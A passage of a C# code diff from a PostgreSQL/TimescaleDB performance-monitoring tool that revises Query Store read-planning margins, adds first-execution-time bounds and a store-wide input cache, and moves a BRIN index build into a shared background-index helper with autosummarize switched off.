+    /// constant once per server after such a delete (<c>QueryStoreIntervalFloorWarmUp</c>) so a user's first read
+    /// does not pay it; change this statement and that warm-up follows, because it executes this constant.</summary>
     public const string PlainTableFloorSql = @"
 SELECT
     MIN(t.first_execution_time)
@@ -483,9 +477,16 @@ FROM collect.query_store_interval_wide AS t
     /// their own identity — keeps only its LATEST snapshot in the table; every caller that places these rows at
     /// <c>collection_time</c> (both duration-trend arm 2's) needs every one of them, not the running maximum. A
     /// field store carries zero such rows once raw retention (days) has aged the post-upgrade window out, so
-    /// this scan is a bounded, indexed (<c>server_id</c>, <c>collection_time</c>) read on the common path and
-    /// costs nothing extra there; it is what lets clause 6 answer TRUE only on the rare upgraded-recently store
-    /// this table cannot yet serve correctly. Bounded to the SAME range the table read would use
+    /// the answer is "none" on the common path, and it is what lets clause 6 answer TRUE only on the rare
+    /// upgraded-recently store this table cannot yet serve correctly. <b>The cost (#4952):</b> with only the
+    /// (<c>server_id</c>, <c>collection_time</c>) index this EXISTS finds nothing, so it would have to fetch every
+    /// heap tuple the server's window touches to say no. The partial index
+    /// <see cref="PgTableTuning.LegacyRowIndexName"/> (built on the start path) holds only the rows with no interval
+    /// start, so for the uncompressed chunks the "no" is an index read of that near-empty tree; compressed
+    /// chunks are still read by the columnar scan on their server_id segment index, which this index does not
+    /// reach. It stays an exact read, not a cached answer, because the collector can still store a NULL start
+    /// on a catalog join miss.
+    /// Bounded to the SAME range the table read would use
     /// (<see cref="ClampedStart"/> through <paramref name="windowEnd"/> in <see cref="ReadsTableAsync"/>), not
     /// the caller's raw windowStart, so a legacy row outside the served range cannot force a needless refusal.
     /// </summary>
@@ -513,10 +514,10 @@ AND   s.interval_start_time_utc IS NULL
     public static readonly TimeSpan GridWideMinWindow = TimeSpan.FromHours(12);
 
     /// <summary>
-    /// How far below the window start clause 3 still allows the table (V143's clause 3 restated: "B is the
-    /// window minus a day, and an interval spans at most a day"). One Query Store runtime-stats interval can
-    /// span up to a day, so an interval that STARTED up to a day before the window can still have executions
-    /// inside it. Restated here (rather than referencing <c>PgFactCollector.QueryPerf.PlanRegressionSkewMarginDays</c>)
+    /// How long one Query Store runtime-stats interval can span (V143's clause 3 restated: "B is the window minus
+    /// a day, and an interval spans at most a day"), so an interval that STARTED up to a day before the window can
+    /// still have executions inside it. Clause 3 of <see cref="UseTable"/> no longer uses it alone (#5541): it is
+    /// one term of <see cref="PurgeEdgeMargin"/>. Restated here (rather than referencing <c>PgFactCollector.QueryPerf.PlanRegressionSkewMarginDays</c>)
     /// because the viewer does not reference the service assembly (#1661 / #2530).
     /// </summary>
     public static readonly TimeSpan IntervalSpanMargin = TimeSpan.FromDays(1);
@@ -534,12 +535,15 @@ AND   s.interval_start_time_utc IS NULL
     /// <summary>
     /// <see cref="PurgeEdgeMargin"/> as a Postgres interval literal (rounded UP to whole minutes, so the SQL form
     /// can never be shorter than the margin), for the <c>first_execution_time &gt;= &lt;window start&gt; -
-    /// PurgeEdgeMarginSql</c> floor the per-server reads of this table carry (#4605). Among the table's indexes are the
-    /// unique key, which leads with <c>server_id</c> and holds <c>first_execution_time</c> as a key column, and
-    /// <c>idx_query_store_interval_wide_first_exec</c>. A read that filters only by <c>collection_time</c> (or
-    /// <c>interval_start_time_utc</c>) is served by neither, so a per-server read walked all of the server's rows;
-    /// the floor filters the unique key's entries before the heap. The Custom Views route, for all servers or some,
-    /// does not carry the floor (see <c>ComposeCompiler.BuildFactRelation</c>).
+    /// PurgeEdgeMarginSql</c> floor the per-server reads of this table carry (#4605). Among the table's btrees are the
+    /// unique key, which leads with <c>server_id</c> and holds <c>first_execution_time</c> as a key column,
+    /// <c>idx_query_store_interval_wide_first_exec</c>, and, where the service has built it, the wide btree on
+    /// <c>(server_id, first_execution_time)</c> (#4952), which the service builds in the background rather than a
+    /// migration. A read that filters only by <c>collection_time</c> (or <c>interval_start_time_utc</c>) is served by
+    /// none of them, so a per-server read walked all of the server's rows; the floor filters the unique key's entries
+    /// before the heap and, where the wide btree exists, is the lower end of the range that btree scans (the upper end is
+    /// <see cref="FirstExecUpperSlackSql"/>, #5523). The Custom Views route, for all
+    /// servers or some, does not carry the floor (see <c>ComposeCompiler.BuildFactRelation</c>).
     /// <para><b>Why no row is lost.</b> The collector keeps only intervals with <c>end_time &gt; @cutoff_time</c>,
     /// and the cutoff is never more than <see cref="WatermarkPolicy.MaxCatchup"/> before the row's
     /// <c>collection_time</c> (<c>WatermarkPolicy.ClampCatchup</c>: <c>C - MaxCatchup</c> with no watermark).
@@ -554,6 +558,65 @@ AND   s.interval_start_time_utc IS NULL
     public static readonly string PurgeEdgeMarginSql =
         $"interval '{(long)Math.Ceiling(PurgeEdgeMargin.TotalMinutes)} minutes'";
 
+    /// <summary>
+    /// How far past a read's window end a row's <c>first_execution_time</c> may sit, for the upper bound the
+    /// per-server reads placed by <c>collection_time</c> carry (#5523). A row is read by its <c>collection_time</c>,
+    /// which the service stamps from its own clock, and <c>first_execution_time</c> is the first execution inside the
+    /// interval by the MONITORED server's clock. So a row collected at or before the window end can hold a
+    /// <c>first_execution_time</c> past it by two things: the monitored clock running AHEAD of the service's, and the
+    /// length of the collection cycle (the cycle stamps <c>collection_time</c> once, at its start, and a later database
+    /// of the cycle is read minutes after that stamp, up to the collector's per-database budget each). Twelve hours
+    /// covers a server whose clock is set to local time in almost any zone, and a long cycle. The trade: a row from a
+    /// server whose clock runs more than this ahead of the service can drop from a closed window. A clock running
+    /// BEHIND is not what this bound is about (<c>WatermarkPolicy.ClampCatchup</c> only raises a watermark that is too
+    /// old, so it is a clock behind that the collector cannot tolerate). The slack only sets where the index range
+    /// ends, so it costs a few more hours of the server's rows read and turns a range that ran to now into a bounded
+    /// one. <see cref="QueryStoreTopDaily.SkewSlack"/> is one hour, because the daily summary is documented as
+    /// approximate; these reads were exact, so theirs is no shorter.
+    /// </summary>
+    public static readonly TimeSpan FirstExecUpperSlack = TimeSpan.FromHours(12);
+
+    /// <summary>
+    /// <see cref="FirstExecUpperSlack"/> as a Postgres interval literal (rounded UP to whole minutes), for the
+    /// <c>first_execution_time &lt;= &lt;window end&gt; + FirstExecUpperSlackSql</c> bound (#5523). With the floor
+    /// (<see cref="PurgeEdgeMarginSql"/>) it makes the <c>first_execution_time</c> range, the range
+    /// <c>ix_query_store_interval_wide_server_first_exec</c> (<c>(server_id, first_execution_time)</c>, #4952) scans,
+    /// finite at both ends: the floor alone ran from the window start to NOW, so a read of a window that ended days
+    /// ago, or the partial first or last day of a long one, walked every row of the server newer than the window.
+    /// </summary>
+    public static readonly string FirstExecUpperSlackSql =
+        $"interval '{(long)Math.Ceiling(FirstExecUpperSlack.TotalMinutes)} minutes'";
+
+    /// <summary>
+    /// The slack either side of a window placed by <c>interval_start_time_utc</c> (#5523, the duration trend's arm 1).
+    /// Both columns are the monitored server's own clock, so unlike <see cref="FirstExecUpperSlack"/> against
+    /// <c>collection_time</c> no cross-clock skew or collection cycle is involved, and an hour is enough. The floor
+    /// <c>first_execution_time &gt;= &lt;window start&gt; - </c> this slack holds because Microsoft documents
+    /// <c>sys.query_store_runtime_stats.first_execution_time</c> as: "First execution time for the query plan within the
+    /// aggregation interval. This is the end time of the query execution." The value is an end time inside the
+    /// interval, so it is never before the interval's start.
+    /// </summary>
+    public static readonly TimeSpan IntervalStartSlack = TimeSpan.FromHours(1);
+
+    /// <summary><see cref="IntervalStartSlack"/> as a Postgres interval literal (whole minutes, rounded up), the
+    /// <c>first_execution_time &gt;= &lt;window start&gt; - IntervalStartSlackSql</c> floor of a read placed by
+    /// <c>interval_start_time_utc</c> (#5523).</summary>
+    public static readonly string IntervalStartSlackSql =
+        $"interval '{(long)Math.Ceiling(IntervalStartSlack.TotalMinutes)} minutes'";
+
+    /// <summary>
+    /// How far a row's <c>first_execution_time</c> may sit from its own <c>interval_start_time_utc</c> and still
+    /// be read by a window placed on that column (#5523): <see cref="IntervalSpanMargin"/> after it (an interval spans
+    /// at most a day and <c>first_execution_time</c> lies inside it) and <see cref="IntervalStartSlack"/> as slack.
+    /// </summary>
+    public static readonly TimeSpan IntervalStartFirstExecMargin = IntervalSpanMargin + IntervalStartSlack;
+
+    /// <summary><see cref="IntervalStartFirstExecMargin"/> as a Postgres interval literal (whole minutes, rounded up),
+    /// the <c>first_execution_time &lt;= &lt;window end&gt; + IntervalStartFirstExecMarginSql</c> bound of a read placed
+    /// by <c>interval_start_time_utc</c> (#5523).</summary>
+    public static readonly string IntervalStartFirstExecMarginSql =
+        $"interval '{(long)Math.Ceiling(IntervalStartFirstExecMargin.TotalMinutes)} minutes'";
+
     /// <summary>True when the server's effective <c>query_store</c> cadence (null: the default) is at most
     /// <see cref="MaxBelowFloorCadence"/> and the largest gap between successive collections near the purge edge is
     /// too. An unknown gap (no collection-log rows there) is not allowed.</summary>
@@ -609,9 +672,16 @@ FROM collect.collection_log AS l
     /// <item>Coverage exists (<paramref name="filledSince"/> is not null) and there is no pending batch.</item>
     /// <item><c>filledSince &lt;= max(R, S)</c> (<paramref name="rawFloor"/>, <paramref name="windowStart"/>):
     /// the table holds every snapshot raw's own read would, and may hold more (the ruled window extension).</item>
-    /// <item><c>R &gt;= H</c> or <c>S - 1 day &gt;= H</c> (<paramref name="tableFloor"/>,
-    /// <see cref="IntervalSpanMargin"/>): raw holds no history the table has dropped, or every interval the
-    /// window needs starts inside the table. A NULL <paramref name="tableFloor"/> means the table holds nothing
+    /// <item><c>R &gt;= H + <see cref="PurgeEdgeMargin"/></c> or <c>S - <see cref="PurgeEdgeMargin"/> &gt;= H</c>
+    /// (<paramref name="tableFloor"/>): raw holds no snapshot of an interval the table has dropped, or every
+    /// interval the raw read can count for the window starts inside the table. This read counts a snapshot by
+    /// <c>collection_time</c> alone (no <c>last_execution_time</c> filter, unlike the Latest rule), so a snapshot
+    /// collected at or after <c>S</c> can belong to an interval that began down to <c>S - PurgeEdgeMargin</c>, which
+    /// is why the second arm uses the whole margin and not one interval length (#5541). The margin is there because the two purge on different
+    /// columns (#5541): raw drops a snapshot by <c>collection_time</c>, the table drops an interval by
+    /// <c>first_execution_time</c>, and a snapshot lands in raw up to <see cref="PurgeEdgeMargin"/> after its interval
+    /// began. With <c>R</c> only at or above <c>H</c>, raw can still hold a snapshot of an interval that began below
+    /// <c>H</c> and that the table dropped. A NULL <paramref name="tableFloor"/> means the table holds nothing
     /// for the server, and clause 2 already refuses that case.</item>
     /// <item>A literal <paramref name="literalWindowEnd"/> (a custom range, MCP <c>as_of</c>) must be at or
     /// after <paramref name="appliedThrough"/>. NULL means an open end (a preset), which skips this clause
@@ -648,8 +718,8 @@ public static bool UseTable(
 
         if (tableFloor is DateTime h)
         {
-            var skewFloor = windowStart - IntervalSpanMargin;
-            if (!((rawFloor is DateTime floor && floor >= h) || skewFloor >= h))
+            var edgeFloor = windowStart - PurgeEdgeMargin;
+            if (!((rawFloor is DateTime floor && floor >= h + PurgeEdgeMargin) || edgeFloor >= h))
             {
                 return false;
             }
@@ -684,12 +754,15 @@ public static DateTime ClampedStart(DateTime? rawFloor, DateTime windowStart) =>
     /// <param name="BelowFloorStart">Non-null only when the read reaches below raw's floor.</param>
     /// <param name="StartBound">Which bound set <see cref="ReadStart"/>; a surface names it when the read is
     /// truncated.</param>
+    /// <param name="DecisionFailed">True only when the source decision itself faulted and the plan is the
+    /// raw fallback; a legitimate "the gate says raw" leaves it false, so a caller can tell the two apart.</param>
     public readonly record struct WideReadPlan(
         bool UseTable,
         DateTime ClampedStart,
         DateTime ReadStart,
         DateTime? BelowFloorStart,
-        WideStartBound StartBound = WideStartBound.Window)
+        WideStartBound StartBound = WideStartBound.Window,
+        bool DecisionFailed = false)
     {
         /// <summary>Where the table's proven-complete history starts for this read: <see cref="ReadStart"/>
         /// whenever the table serves. NULL when the table does not serve (the gate could not decide), because the
@@ -719,14 +792,20 @@ public enum WideStartBound
     /// <summary>#4689: the note a table-served Query Store read carries when the interval table started it later than
     /// the window. The MCP top-queries table route (one server) and Compose's panel (the servers in scope) both
     /// take their text from here. <paramref name="settingServer"/> names the server whose history set the common
-    /// start of a many-server read; when null the reason says "these servers".</summary>
-    public static string HistoryNote(DateTime effectiveStart, WideStartBound bound, bool manyServers, string? settingServer = null)
+    /// start of a many-server read; when null the reason says "these servers".
+    ///
+    /// <para>#4966: <paramref name="effectiveStart"/> is the start as its caller already prints it, in the same text
+    /// as its <c>effective_start</c> field (<c>McpHelpers.FormatEffectiveStart</c>: UTC, with the Z), and the note
+    /// names it as given. The page finds the instant in the sentence by the field's exact text to show it in the
+    /// browser's zone, so a note that spelled the instant on its own (a plain "o" of the store's naive floor has no
+    /// Z) was drawn in bare UTC above a grid of local times.</para></summary>
+    public static string HistoryNote(string effectiveStart, WideStartBound bound, bool manyServers, string? settingServer = null)
     {
         var scope = manyServers ? "the servers in scope" : "this server";
         var reason = bound switch
         {
             WideStartBound.FilledSince =>
-                $"The interval table began keeping complete history for {(!manyServers ? "this server" : settingServer ?? "these servers")} at {effectiveStart:o}.",
+                $"The interval table began keeping complete history for {(!manyServers ? "this server" : settingServer ?? "these servers")} at {effectiveStart}.",
             WideStartBound.TablePurgeEdge =>
                 "The interval table keeps 9 days, and intervals that began before its purge edge are not read.",
             WideStartBound.RawFloorSlowCadence =>
@@ -736,7 +815,7 @@ public static string HistoryNote(DateTime effectiveStart, WideStartBound bound,
             _ =>
                 "The read is clamped at the raw tier's retention floor: nothing older than it can be shown exactly.",
         };
-        return $"The window reaches further back than the Query Store history this store holds for {scope}. Nothing older than {effectiveStart:o} was read. Past the raw tier's retention, intervals are read from the per-interval table (kept 9 days), which holds exactly what raw held for them. "
+        return $"The window reaches further back than the Query Store history this store holds for {scope}. Nothing older than {effectiveStart} was read. Past the raw tier's retention, intervals are read from the per-interval table (kept 9 days), which holds exactly what raw held for them. "
             + reason;
     }
 
@@ -909,7 +988,7 @@ private static async Task<BelowFloorVerdict> CadenceAllowsAsync(
     /// <list type="bullet">
     /// <item><paramref name="filledSince"/>: the coverage claim starts there and is never backdated, and a gap
     /// check restarts it above a hole (<see cref="ResetCoverageSql"/>).</item>
-    /// <item><paramref name="tableFloor"/> + <see cref="IntervalSpanMargin"/>: the 9-day purge deletes row by
+    /// <item><paramref name="tableFloor"/> + <see cref="PurgeEdgeMargin"/>: the 9-day purge deletes row by
     /// row on <c>first_execution_time</c>, so a row whose interval began before the table floor is gone even when
     /// its <c>collection_time</c> is inside the window.</item>
     /// <item><paramref name="windowStart"/>: never read before the window asked for.</item>
@@ -964,6 +1043,25 @@ public static (DateTime Start, WideStartBound Bound)? ExactBelowFloorStart(
         return (p.UseTable, p.ClampedStart);
     }
 
+    /// <summary>
+    /// The inputs <see cref="ResolveReadAsync"/> reads that do not depend on the server: the raw floor of
+    /// <see cref="RawChunkFloorSql"/>, which takes no parameter and reads TimescaleDB's catalog for the whole store.
+    /// (<see cref="ReadSourceInputsSql"/>'s coverage and pending columns, <see cref="PlainTableFloorSql"/>,
+    /// <see cref="HasLegacyRowSql"/> and the cadence probe all filter on the server, so they stay per server.)
+    /// A caller that resolves many servers for one window passes one <see cref="StoreWideInputsCache"/> to each call.
+    /// </summary>
+    public sealed record StoreWideInputs(DateTime? RawFloor);
+
+    /// <summary>
+    /// A per-check holder for <see cref="StoreWideInputs"/>. <see cref="ResolveReadAsync"/> fills it the first
+    /// time a server reaches the floors step and reuses it for every later server, so the floors are read at
+    /// most once per check and not at all when every server refuses before that step.
+    /// </summary>
+    public sealed class StoreWideInputsCache
+    {
+        internal StoreWideInputs? Value;
+    }
+
     /// <summary>
     /// <see cref="UseTable"/> plus the store round trips it needs, the clamp (<see cref="ClampedStart"/>), and the
     /// lower bound the table read may bind (<see cref="WideReadPlan.ReadStart"/>), which reaches below raw's chunk
@@ -979,7 +1077,8 @@ public static async Task<WideReadPlan> ResolveReadAsync(
         TimeSpan minWindow,
         int commandTimeoutSeconds,
         ILogger? logger,
-        CancellationToken cancellationToken)
+        CancellationToken cancellationToken,
+        StoreWideInputsCache? storeWide = null)
     {
         /* The probes bind these as timestamp-without-time-zone, which Npgsql refuses for Kind=Utc; a caller that
            resolves its window from DateTime.UtcNow (the MCP tool) would otherwise fail every decision and read raw. */
@@ -1009,7 +1108,7 @@ resolves its window from DateTime.UtcNow (the MCP tool) would otherwise fail eve
             }
 
             /* Review D4R H1: clauses 4 and 5 need no table floor at all, so check them before the two
-               remaining round trips (ChunkFloorsSql's metadata read and, worse, PlainTableFloorSql's
+               remaining round trips (RawChunkFloorSql's metadata read and, worse, PlainTableFloorSql's
                unindexed server-wide scan). A short window or a literal end before appliedThrough can only
                ever land on "raw" (UseTable's own tail), so failing here saves both queries. */
             if (windowEnd - windowStart < minWindow || (literalWindowEnd is DateTime e && e < appliedThrough))
@@ -1018,20 +1117,22 @@ remaining round trips (ChunkFloorsSql's metadata read and, worse, PlainTableFloo
             }
 
             DateTime? rawFloor = null;
-            DateTime? tableFloor = null;
-            var tableIsHypertable = false;
-            if (hasTimescale)
+            if (hasTimescale && storeWide?.Value is StoreWideInputs cached)
             {
-                await using var floors = new NpgsqlCommand(ChunkFloorsSql, connection) { CommandTimeout = commandTimeoutSeconds };
-                await using var reader = await floors.ExecuteReaderAsync(cancellationToken);
-                await reader.ReadAsync(cancellationToken);
-                rawFloor = reader.IsDBNull(0) ? null : reader.GetDateTime(0);
-                tableIsHypertable = reader.GetBoolean(1);
-                tableFloor = reader.IsDBNull(2) ? null : reader.GetDateTime(2);
+                rawFloor = cached.RawFloor;
+            }
+            else if (hasTimescale)
+            {
+                await using var floors = new NpgsqlCommand(RawChunkFloorSql, connection) { CommandTimeout = commandTimeoutSeconds };
+                rawFloor = await floors.ExecuteScalarAsync(cancellationToken) as DateTime?;
+                if (storeWide is not null)
+                {
+                    storeWide.Value = new StoreWideInputs(rawFloor);
+                }
             }
 
             /* Clause 2 (filledSince <= max(rawFloor, windowStart)) needs only rawFloor, already in hand from
-               ChunkFloorsSql's metadata read (or never set, on a non-Timescale store) — never the table floor.
+               RawChunkFloorSql's metadata read (or never set, on a non-Timescale store) — never the table floor.
                An upgraded store whose claim doesn't cover the window yet fails here, before PlainTableFloorSql's
                scan, instead of after it. */
             if (filledSince > ClampedStart(rawFloor, windowStart))
@@ -1039,9 +1140,9 @@ remaining round trips (ChunkFloorsSql's metadata read and, worse, PlainTableFloo
                 return new WideReadPlan(false, windowStart, windowStart, null);
             }
 
-            if (!tableIsHypertable)
+            DateTime? tableFloor;
+            await using (var plain = new NpgsqlCommand(PlainTableFloorSql, connection) { CommandTimeout = commandTimeoutSeconds })
             {
-                await using var plain = new NpgsqlCommand(PlainTableFloorSql, connection) { CommandTimeout = commandTimeoutSeconds };
                 plain.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Integer, Value = serverId });
                 tableFloor = await plain.ExecuteScalarAsync(cancellationToken) as DateTime?;
             }
@@ -1095,7 +1196,7 @@ needs every one of them. */
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             logger?.LogWarning(ex, "Query Store wide-table source decision failed for server {ServerId}; reading raw", serverId);
-            return new WideReadPlan(false, windowStart, windowStart, null);
+            return new WideReadPlan(false, windowStart, windowStart, null, DecisionFailed: true);
         }
     }
 
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs
index f0461a021b..8fd9163629 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs
@@ -6,7 +6,6 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
-using System;
 using System.Threading;
 using System.Threading.Tasks;
 using Microsoft.Extensions.Logging;
@@ -28,7 +27,8 @@ namespace PerformanceMonitor.Darling.Storage;
 /// rows, so BRIN ranges widen: windows ending now should stay selective, while historical windows lose
 /// selectivity and the plan may flip back to a Seq Scan for part of the cycle. Results stay exact and
 /// nothing is slower than without the index. If that matters, the remedy is a periodic
-/// <c>REINDEX INDEX CONCURRENTLY</c> or re-summarizing the ranges, which this class does not do.</para>
+/// <c>REINDEX INDEX CONCURRENTLY</c>, which this class does not do. (The hourly summarize of new ranges is
+/// <see cref="QueryStoreIntervalBrin"/>'s; it does not re-summarize a range that widened.)</para>
 ///
 /// <para><b>Why BRIN and not a btree.</b> The writer's upsert (<c>QueryStoreIntervalWide.cs</c>,
 /// <c>ON CONFLICT ... DO UPDATE SET collection_time = EXCLUDED.collection_time, ...</c>) rewrites
@@ -56,17 +56,23 @@ namespace PerformanceMonitor.Darling.Storage;
 /// on a hypertable, so if the table is ever converted the ensure skips with a warning instead of failing
 /// or retrying.</para>
 ///
-/// <para><b>Autosummarize.</b> <c>autosummarize = on</c> lets autovacuum work items summarize each new block
-/// range as the table grows. A range that is not summarized yet is always read by the scan, so results stay
-/// correct while the summary catches up; the index is 856 kB on that store.</para>
+/// <para><b>Autosummarize is off (#5594; #4862 turned it on).</b> <c>autosummarize = on</c> lets an autovacuum work item
+/// summarize each new block range, but the item waits for the table's <c>SHARE UPDATE EXCLUSIVE</c> lock, the one a
+/// running VACUUM holds, and after <c>deadlock_timeout</c> PostgreSQL cancels that VACUUM. After a big retention drain the
+/// table's vacuum was cancelled every couple of minutes and never finished. Off, a VACUUM summarizes new ranges when it
+/// ends and <see cref="QueryStoreIntervalBrin.SummarizeNewRangesAsync"/> summarizes hourly in between, without ever
+/// cancelling a vacuum. A range that is not summarized yet is always read by the scan, so results stay correct while the
+/// summary catches up; the index is 856 kB on that store. An index built with <c>on</c> by an earlier build is turned off
+/// by <see cref="QueryStoreIntervalBrin.TurnOffAutosummarizeAsync"/>.</para>
 ///
-/// <para><b>The start delay.</b> <see cref="RunDelayedAsync"/> waits <see cref="StartDelay"/> (20 minutes)
-/// first. After an install or restart a big store's volume sits at its IOPS cap for about 15 minutes (cold
-/// cache, migrations, the retention purge, the continuous-aggregate refresh), and a full-heap read on top
-/// slows all of it. One attempt is made per service start; a failure or an interrupted build is retried at
-/// the next start. An interrupted <c>CONCURRENTLY</c> build leaves an INVALID index behind, which
-/// <c>IF NOT EXISTS</c> would silently keep, so the ensure reads validity first and drops an INVALID
-/// leftover before building.</para>
+/// <para><b>The start delay, the validity read and the build.</b> They are
+/// <see cref="QueryStoreBackgroundIndexes"/>'s, shared with the btree #4952 adds: it waits
+/// <see cref="QueryStoreBackgroundIndexes.StartDelay"/> (20 minutes) first, because after an install or restart a
+/// big store's volume sits at its IOPS cap for about 15 minutes (cold cache, migrations, the retention purge, the
+/// continuous-aggregate refresh) and a full-heap read on top slows all of it. One attempt is made per service
+/// start; a failure or an interrupted build is retried at the next start. An interrupted <c>CONCURRENTLY</c> build
+/// leaves an INVALID index behind, which <c>IF NOT EXISTS</c> would silently keep, so the ensure reads validity
+/// first and drops an INVALID leftover before building.</para>
 ///
 /// <para><b>Reads take the index only at a low <c>random_page_cost</c>.</b> At the default of 4 the planner
 /// still chooses the sequential scan for a 12-hour window even with this index present; at about 1.1 or
@@ -78,47 +84,28 @@ public static class QueryStoreIntervalWideBrinIndex
     /// <summary>The index's schema-qualified name.</summary>
     public const string IndexName = "collect.ix_query_store_interval_wide_collection_time_brin";
 
-    /// <summary>How long after the service is up the background step waits before its one attempt.</summary>
-    public static readonly TimeSpan StartDelay = TimeSpan.FromMinutes(20);
-
-    /// <summary>
-    /// Command deadline for the build and the drop, in seconds. The build reads the whole heap: about 108 s at
-    /// 25 GB, several minutes at a full 9 days' retention. Two hours leaves headroom on a slow volume while
-    /// still bounding a build stuck behind a long transaction; shutdown cancels it sooner.
-    /// </summary>
-    public const int BuildTimeoutSeconds = 7200;
-
-    /// <summary>Deadline for the catalog reads, in seconds.</summary>
-    public const int CatalogReadTimeoutSeconds = 30;
-
     /// <summary>First PostgreSQL version whose HOT logic tolerates changes to summarizing-index columns.</summary>
     public const int MinimumServerVersionNum = 160000;
 
     internal const string CreateSql =
         "CREATE INDEX CONCURRENTLY IF NOT EXISTS ix_query_store_interval_wide_collection_time_brin "
-        + "ON collect.query_store_interval_wide USING brin (collection_time) WITH (autosummarize = on);";
+        + "ON collect.query_store_interval_wide USING brin (collection_time) WITH (autosummarize = off);";
 
     internal const string DropSql =
         "DROP INDEX CONCURRENTLY IF EXISTS collect.ix_query_store_interval_wide_collection_time_brin;";
 
-    internal const string StateSql = @"
-SELECT
-    current_setting('server_version_num')::int AS server_version_num,
-    to_regclass('collect.query_store_interval_wide') IS NOT NULL AS table_exists,
-    to_regclass('timescaledb_information.hypertables') IS NOT NULL AS has_hypertable_view,
-    (SELECT i.indisvalid
-     FROM pg_index AS i
-     WHERE i.indexrelid = to_regclass('collect.ix_query_store_interval_wide_collection_time_brin')) AS index_valid;";
-
-    /* Reached only when StateSql reported the view exists, so a store without TimescaleDB never parses it. */
-    internal const string HypertableSql = @"
-SELECT EXISTS
-(
-    SELECT 1
-    FROM timescaledb_information.hypertables AS h
-    WHERE h.hypertable_schema = 'collect'
-    AND   h.hypertable_name = 'query_store_interval_wide'
-);";
+    /// <summary>
+    /// This index as <see cref="QueryStoreBackgroundIndexes"/> builds it: <c>CONCURRENTLY</c> on the plain table, no
+    /// hypertable form (a hypertable is skipped with a warning), and not below PostgreSQL 16.
+    /// </summary>
+    public static readonly QueryStoreBackgroundIndexes.IndexSpec Spec = new(
+        IndexName,
+        "collect.query_store_interval_wide",
+        CreateSql,
+        DropSql,
+        MinimumServerVersionNum,
+        "a BRIN index on collection_time would make the upsert non-HOT below PG 16",
+        "USING brin (collection_time) WITH (autosummarize = off)");
 
     /// <summary>What the ensure does about the index.</summary>
     public enum BrinAction
@@ -137,137 +124,26 @@ public enum BrinAction
     public readonly record struct BrinDecision(BrinAction Action, string Reason);
 
     /// <summary>
-    /// The pure build-or-skip decision. The version check comes first: below 160000 a BRIN on
-    /// <c>collection_time</c> makes every upsert non-HOT, whatever the table is.
+    /// The pure build-or-skip decision, <see cref="QueryStoreBackgroundIndexes.Decide"/> for this index. The version
+    /// check comes first: below 160000 a BRIN on <c>collection_time</c> makes every upsert non-HOT, whatever the table
+    /// is.
     /// </summary>
     public static BrinDecision Decide(int serverVersionNum, bool tableIsHypertable)
     {
-        if (serverVersionNum < MinimumServerVersionNum)
-        {
-            return new BrinDecision(
-                BrinAction.SkipServerVersionBelowSixteen,
-                $"server_version_num {serverVersionNum} is below {MinimumServerVersionNum}: a BRIN index on "
-                + "collection_time would make the upsert non-HOT below PG 16");
-        }
-
-        if (tableIsHypertable)
-        {
-            return new BrinDecision(
-                BrinAction.SkipHypertable,
-                "collect.query_store_interval_wide is a hypertable and TimescaleDB refuses "
-                + "CREATE INDEX CONCURRENTLY on a hypertable");
-        }
-
-        return new BrinDecision(BrinAction.Build, string.Empty);
-    }
-
-    /// <summary>
-    /// The background entry point: waits <paramref name="delay"/>, makes one <see cref="EnsureAsync"/> attempt
-    /// on its own connection, and never throws. Cancellation (shutdown) ends it quietly; any other failure is
-    /// a Warning and the next service start retries.
-    /// </summary>
-    public static async Task RunDelayedAsync(
-        NpgsqlDataSource postgres, ILogger logger, TimeSpan delay, CancellationToken cancellationToken)
-    {
-        var delayFinished = false;
-        try
-        {
-            await Task.Delay(delay, cancellationToken).ConfigureAwait(false);
-            delayFinished = true;
-            await using var connection = await postgres.OpenConnectionAsync(cancellationToken).ConfigureAwait(false);
-            await EnsureAsync(connection, logger, cancellationToken).ConfigureAwait(false);
-        }
-        catch (OperationCanceledException) when (!delayFinished)
-        {
-            logger.LogDebug(
-                "Query Store interval index ensure ({Index}) was cancelled before it started.",
-                IndexName);
-        }
-        catch (OperationCanceledException)
-        {
-            logger.LogInformation(
-                "Query Store interval index ensure ({Index}) was cancelled at shutdown; the next start retries, "
-                + "and drops any half-built leftover first.",
-                IndexName);
-        }
-        catch (Exception ex)
+        var decision = QueryStoreBackgroundIndexes.Decide(Spec, serverVersionNum, tableIsHypertable);
+        var action = decision.Action switch
         {
-            var sqlState = ex is NpgsqlException { SqlState: { Length: > 0 } state } ? $", SQLSTATE {state}" : string.Empty;
-            logger.LogWarning(
-                "Query Store interval index ensure ({Index}) failed and is retried at the next start: {ExceptionType}{SqlState}: {Message}",
-                IndexName, ex.GetType().Name, sqlState, ex.Message);
-        }
+            QueryStoreBackgroundIndexes.IndexAction.SkipServerVersion => BrinAction.SkipServerVersionBelowSixteen,
+            QueryStoreBackgroundIndexes.IndexAction.SkipHypertable => BrinAction.SkipHypertable,
+            _ => BrinAction.Build,
+        };
+        return new BrinDecision(action, decision.Reason);
     }
 
     /// <summary>
     /// Makes sure the BRIN index exists and is valid, on <paramref name="connection"/>, which must be open and
     /// outside any transaction (<c>CONCURRENTLY</c> fails with 25001 inside one).
     /// </summary>
-    public static async Task EnsureAsync(NpgsqlConnection connection, ILogger logger, CancellationToken cancellationToken)
-    {
-        int serverVersionNum;
-        bool tableExists;
-        bool hasHypertableView;
-        bool? indexValid;
-
-        await using (var state = new NpgsqlCommand(StateSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds })
-        await using (var reader = await state.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false))
-        {
-            await reader.ReadAsync(cancellationToken).ConfigureAwait(false);
-            serverVersionNum = reader.GetInt32(0);
-            tableExists = reader.GetBoolean(1);
-            hasHypertableView = reader.GetBoolean(2);
-            indexValid = reader.IsDBNull(3) ? null : reader.GetBoolean(3);
-        }
-
-        if (!tableExists)
-        {
-            logger.LogDebug("Query Store interval index ensure skipped: collect.query_store_interval_wide does not exist yet.");
-            return;
-        }
-
-        var isHypertable = false;
-        if (hasHypertableView)
